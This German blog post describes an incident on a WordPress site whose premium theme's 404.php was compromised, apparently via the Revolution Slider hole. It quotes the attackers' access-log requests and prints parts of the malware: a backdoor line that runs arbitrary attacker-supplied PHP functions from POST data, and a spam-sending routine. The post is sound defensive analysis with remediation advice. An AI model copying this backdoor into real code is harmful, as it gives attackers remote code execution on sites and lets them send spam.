WordPress Premium Themes infiziert (Revolution Slider)

Ein Kunde, hat mich vor kurzem darauf aufmerksam gemacht, dass er eine große Menge an E-Mails mit folgendem Betreff bekommt Undelivered Mail Returned to Sender. Normalerweise heißt, dass das E-Mails an falsche E-Mail Adressen gegangen sind und dann zurück gegangen sind, der Kunde hat jedoch keine E-Mails über diesen Account verschickt!
Nach gemeinsamer Suche mit guter Kundenkooperation, haben wir im access_log der Webseite eine recht häufige Anzahl an Aufrufen der 404.php des WordPress Themes gefunden.

188.120.XXX.XX - - [07/Jan/2015:14:45:20 +0100] "GET /wp-content/themes/skybox/404.php?ping=ping_host HTTP/1.0" 200 4 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.17) Gecko/2009122116 Firefox/3.0.17"
92.26.XXX.XX - - [07/Jan/2015:14:45:21 +0100] "POST /wp-content/themes/skybox/404.php HTTP/1.1" 200 4 "-" "Opera 10.00"
188.120.XXX.XXX - - [07/Jan/2015:21:54:13 +0100] "GET /wp-content/themes/skybox/404.php?ping=ping_host HTTP/1.0" 200 4 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.17) Gecko/2009122116 Firefox/3.0.17"
188.120.XXX.XXX - - [07/Jan/2015:21:54:23 +0100] "GET /wp-content/themes/skybox/404.php?ping=ping_host HTTP/1.0" 200 4 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.17) Gecko/2009122116 Firefox/3.0.17"
188.120.XXX.XXX - - [07/Jan/2015:21:54:27 +0100] "GET /wp-content/themes/skybox/404.php?ping=ping_host HTTP/1.0" 200 4 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.17) Gecko/2009122116 Firefox/3.0.17"

Dem Kunden fiel auf, dass die Aufrufe zeitlich gesehen her, mit dem Eintreffen der Fehlermeldungen bei der E-Mail übereinstimmen. Nach Begutachtung der 404.php des verwendeten Themes (ein Premium Theme von themeforest.net) fanden wir eine stark verseuchte Datei mit Zeilen wie:

if (isset($_GET["ping"]) and $_GET["ping"] == ("ping_host")) { 
echo "true"; 
}else{ 

if (isset($_POST[id])){
	stripslashes($_POST[fun]($_POST[id]));	
}

Und kamen im Endeffekt bei einer E-Mail senden Funktion aus.

if ($sposob_otp == ("true")) 
{
	$return = smtpmail($smtp_host, $smtp_port, $smtp_login, $smtp_passw, $email_polucha, $telo_pisma, $headers);
}else
{
	$return = mail($email_polucha,$tema_pisma,$telo_pisma,$headers);
}

Es scheint als sei das Plugin Revolution Slider der Beginn des Problems. Diese Plugin hat laut heise.de bis einschließlich Version 4.1.4 eine gravierende Sicherheitslücke, die Angreifern Zugriff auf das Dateisystem und die WordPress Konfigurationsdateien und somit auch auf die Datenbank ermöglicht. Das Problem ist, dass diese Plugin als inkludiertes Plugin mit vielen Business / Premium Themes ausgeliefert wird. Dadurch würde es nur aktualisiert werden, wenn auch das Business Theme neu von zum Beispiel thememforest.net heruntergeladen würde. Dies geschieht aber vermutlich nur in den seltesten Fällen. Themeforest.net hat eine Seite eingerichtet, in der geprüft werden kann, ob das verwendete Theme sicher / unsicher ist und ob eventuell bereits ein Update bereitgestellt wurde.

Im beschriebenen Fall scheint nur die 404.php Datei infiziert gewesen zu sein. Außerdem fand ich drei weitere nicht zum Theme gehörige Dateien im Theme Verzeichnis. Nach erster stichpunktartiger Analyse scheint der Schadcode nur zum Versenden von Spam-Emails gedacht. Per POST Request (siehe access_log) scheinen die Daten, die den Mail-Inhalt ausmachen übermittelt worden sein um dann über die PHP-Funktion mail() verschickt zu werden.

Im Theme Verzeichnis /wp-content/themes/THEMENAME fand ich noch die Dateien inc.php, systemscash.php und mainik.phhp. Alle enthalten auf jeden Fall Schadecode, der teilweise sogar verschlüsselt ist um seine Funktion nicht direkt zu erkennen. Durch die Zeitstempel lässt sich das Datum der Infektion recht leicht eingrenzen.
hack

antivirus-manueller-check
Die WordPress Seite wurde kurzfristig vom Netz genommen und wird derzeit sicherheitstechnisch geprüft. Ein Neuaufsetzen des WordPress Systems wird jedoch unumgänglich sein, da nie ganz sicher ist, ob nicht auch noch andere WordPress Dateien verseucht worden sind. Als gutes Plugin zur Aufdeckung von solchen Angriffen, kann ich das Plugin AntiVirus von Sergej Müller, welcher auch andere bekannt und gute Plugins wie AntiSpam Bee geschrieben hat. Es zeigt einem welche Dateien verseucht sind und führt auf Wunsch einen Test auch täglich durch und schickt das Ergebnis dann per E-Mail an den Admin der Seite schickt.

Ich werde in nächster Zeit, auch die anderen infizierten Dateien genauer untersuchen und hier eine kleine Analyse posten.

Noch eine kleine Bitte an alle von euch: UPDATET EURE THEMES / PLUGINS, AUCH WENN ES ETWAS AUFWAND IST. ES LOHNT SICH!

Ich bin Kevin, und schreibe hier über Themen die sich von CSS über Designs bis zur testgetriebenen Entwicklung mit PHP erstrecken. Ich arbeite in einer kleinen Firma als PHP-Entwickler und entwickle dort PHP Backends für verschiedene Projekte vorallem mit Laravel. Privat betreibe ich noch diesen Blog und notesafe.

Schreibe einen Kommentar